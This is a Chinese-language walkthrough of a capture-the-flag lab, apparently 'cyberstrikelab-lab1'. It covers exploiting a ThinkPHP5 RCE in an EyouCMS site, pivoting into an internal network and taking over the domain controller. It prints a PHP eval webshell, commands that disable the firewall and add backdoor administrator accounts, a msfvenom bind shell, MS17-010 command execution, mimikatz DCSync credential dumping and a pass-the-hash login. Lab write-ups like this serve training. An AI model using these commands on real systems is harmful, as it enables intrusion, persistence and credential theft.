cyberstrikelab-lab1
1、WEB渗透
在网页底部的版权信息区域,发现明确标注 易优 CMS”,从这里可以锁定站点使用的 CMS 系统类型。

进一步信息收集,通过百度检索易优 CMS 官方文档,确认该 CMS 系统基于 ThinkPHP5.0 框架开发

选用 ThinkPHP 漏洞利用工具,用ALL检测所有漏洞。通过工具检测目标站点存在tp5_index_construct_rce命令执行漏洞。

通过 ThinkPHP 漏洞利用工具的 “命令执行模块”,输入基础探测命令whoami(用于查询当前执行用户身份),执行后返回结果为nt authority\system,明确当前已获取系统权限

漏洞触发获取的权限是 “临时权限”,一旦漏洞修复、服务重启或网络中断,攻击者将失去对服务器的控制。因此,写入后门的核心目的是建立 “持久化控制通道”,确保后续可随时访问目标服务器,且不易被管理员发现。
写入一句话木马,设置木马名称,再点击GetShell,成功的话最后获得一句话木马的地址
<?php @eval($_POST['a']);?>

为实现可视化管理,使用蚁剑(一款专门用于管理 Web 后门的工具)进行连接。在蚁剑中输入木马访问地址、通信密码a,点击 “测试连接”,显示 “连接成功”,表明已建立稳定的 Web 管理通道。通过蚁剑可直观查看服务器文件系统、执行命令、上传下载文件,操作便捷且隐蔽性强。

解法一:数据库密码泄露
/config/database.php,数据库配置文件

配置文件中显示数据库用户为root,密码为xxxxxx(已隐藏)。 Windows 默认管理员账号administrator,并复用该数据库密码作为系统登录密码。
启用远程桌面连接,需通过蚁剑执行以下命令:
# 修改注册表,允许远程登录:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭 Windows 防火墙:
netsh advfirewall set allprofiles state off

远程连接,输入目标服务器 IP、账号administrator、密码xxxxxx
administrator :数据库密码

登录成功,这里登录成功的权限是administrator管理员组

而这里蚁剑执行命令的权限是系统权限,权限等级会更高一点,主要利用这一块

解法二:添加用户
通过蚁剑执行以下命令:
# 创建新用户,并设置密码:
net user xiaoyu 123@abc /add
# 将新用户添加到管理员组:
net localgroup Administrators xiaoyu /add
生成正向连接木马:
msfvenom -p windows/meterpreter/bind_tcp LHOST=10.10.10.173 LPORT=4444 -f exe -o shell.exe

本次测试中,目标服务器可被攻击者访问,但攻击者主机因处于内网无公网 IP,因此选择正向连接模式。
设置正向连接,是我们主动去连接目标主机的4444端口
use exploit/multi/handler # 启用监听模块
set payload windows/meterpreter/bind_tcp # 匹配生成木马时的payload
set RHOST 192.168.10.10 # 目标服务器IP地址
set RPORT 4444 # 匹配木马中设置的监听端口
run # 启动监听

通过蚁剑将生成的shell.exe文件上传至目标服务器的 Web 根目录(或其他可执行目录),并执行该文件。

上传上去了,但是执行没有结果,那是因为我们是正向连接,需要主动去连接靶机的4444端口,而不是等着shell回弹回来,如果还没有回来,请禁用目标防火墙
netsh advfirewall set allprofiles state off

命令执行后,MSF 控制台立即反馈 “Meterpreter session 1 opened”,表明已成功建立稳定的 Meterpreter 会话。这里就已经成功上线了

2、内网渗透
ipconfig,查看目标服务器的内网 IP 段(192.168.20.0/24),并发现内网中存在其他主机

选用 fscan 工具,通过 Meterpreter 的upload命令将工具上传至目标服务器:
upload /data/CS/Cobalt_Strike_4.7/plugin/TaoWu/script/x64/fscan.exe

执行以下命令启动 fscan 扫描:
fscan.exe -h 192.168.20.0/24 # 扫描整个内网网段
扫描结果显示,192.168.20.30 和 192.168.20.20(域控),两台主机均存在 MS17-010 漏洞(永恒之蓝)

在内网中,攻击者无法直接访问 192.168.20.30 和 192.168.20.20(仅 192.168.20.10 可与内网其他主机通信)。设置路由的核心目的是将已控制的 192.168.20.10 作为 “跳板机”,让攻击者的流量通过该跳板机进入内网,实现对其他主机的访问。
文案路线,你->对方外网机器(10.10)-> 对方内网机器(主机20.30和20.20),而你无法直接通过箭头访问到对方的内网主机,你需要获得对方内网主机10.10的系统权限,然后再代理到这台机器,去打对方的内网主机
随后在 Meterpreter 会话中执行以下命令设置路由:
# 添加内网路由:
run autoroute -s 192.168.20.0/24
# 查看路由表:
run autoroute -p

路由添加成功后,尝试利用永恒之蓝漏洞打 192.168.20.30
我测试了多个 MS17-010 相关漏洞利用模块,均没有成功,
尝试到最后一个执行命令的模块auxiliary/admin/smb/ms17_010_command的时候,可以正常执行命令,就是获取不到Meterpreter后渗透会话,但可以执行命令
use auxiliary/admin/smb/ms17_010_command
auxiliary/admin/smb/ms17_010_command模块的作用是通过永恒之蓝漏洞执行命令
# 加载模块并查看参数:
use auxiliary/admin/smb/ms17_010_command # 加载模块
show options # 查看模块所需配置参数
该模块需配置的关键参数包括RHOSTS(目标主机 IP)、COMMAND(待执行的命令)。

验证权限:
配置目标主机 IP 并执行whoami命令,验证漏洞利用效果:
set rhosts 192.168.20.30
set COMMAND whoami
run
执行结果返回nt authority\system,表明已通过永恒之蓝漏洞获取 192.168.20.30 的系统权限,为后续操作提供了高权限基础。

此时我们可以借助msf17-010命令执行

权限维持配置:为建立稳定的远程控制通道,通过该模块执行以下命令,配置 192.168.20.30 的系统参数:
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' # 修改注册表,强制启用远程桌面服务(RDP),允许通过远程桌面(3389端口)连接

set COMMAND 'net user xiaoyu 123@abc /add' #创建一个名为 的新用户,密码设置为 123@abc

set COMMAND 'net localgroup Administrators xiaoyu /add' #将用户 dfz 添加到本地管理员组(Administrators),获得系统最高权限

set COMMAND 'netsh advfirewall set allprofiles state off' #关闭Windows防火墙

虽然已设置路由,但远程桌面连接等图形化工具无法直接利用 Meterpreter 路由。配置代理的核心目的是让所有攻击者的工具流量(如远程桌面、文件传输)都通过跳板机转发,实现对 192.168.20.30 的直接访问。
MSF 开启 SOCKS5 代理:
use auxiliary/server/socks5 # 加载SOCKS5代理模块
set SRVHOST 127.0.0.1 # 代理监听地址(本地回环地址)
set SRVPORT 1080 # 代理监听端口
run # 启动代理服务
SOCKS5 是一种通用代理协议,支持 TCP/UDP 流量转发,可适配大多数网络工具。

打开10.10计算机的远程桌面连接功能,输入刚刚添加的账号和密码

登录成功后,在C盘中查找到最后的flag

3、域控渗透
前面我们利用fscan.exe扫描出来存在永痕之蓝漏洞,但是利用msf执行不了命令,该怎么上传文件呢?

我们可以使用windows自带的远程连接,找到本地资源,在本地设备和资源中找到详细信息

把驱动器勾选上,还有本地的C盘文件勾选上,共享到远程连接后的服务器中

这样目标机器就能访问10这个机器的文件了

随后上传nc至20.10机器

然后打开远程登录的20靶机,在共享的C盘文件中找到nc,并放到30的机器当中去

不过这里我,我们不能使用30的cmd来反弹shell,因为当前登录的用户并不是系统权限,需要用msf的exp来打
这里需要执行3次才会执行一次命令,总体来说延迟了3个命令,或者你要敲三个回车,才能执行你的第一个命令,应该是bug,这里已经获取到了系统权限

使用msf上传mimikatz

通过共享目录将 mimikatz 工具上传至域控服务器。

通过 MSF 模块执行 mimikatz,初始执行时显示 “低权限”,无法提取域哈希。执行以下命令提升权限至系统权限:
privilege::debug # 启用调试权限
sekurlsa::logonpasswords # 提取登录密码哈希

最终执行 DCSync 命令,提取整个域的所有用户哈希:
lsadump::dcsync /domain:cyberstrikelab.com /all #提取整个域的所有账户哈希
执行结果成功提取到域管理员Administrator的 NTLM 哈希:94bd5248e87cb7f2f9b871d40c903927。

获取 NTLM 哈希后,采用 “哈希传递攻击”(Pass-the-Hash,PtH)登录域控服务器。
使用 impacket 工具集(一款专注于网络协议攻击的工具集)中的psexec模块,执行哈希传递登录:
proxychains impacket-psexec -hashes :94bd5248e87cb7f2f9b871d40c903927 cyberstrikelab.com/administrator@192.168.20.20

命令执行后,成功获取域控服务器的 CMD 会话,执行ipconfig等命令验证,确认已完全控制 192.168.20.20 域控服务器。至此,整个渗透测试流程完成。

本站小部分内容转载于互联网,如有侵权还请联系
















暂无评论内容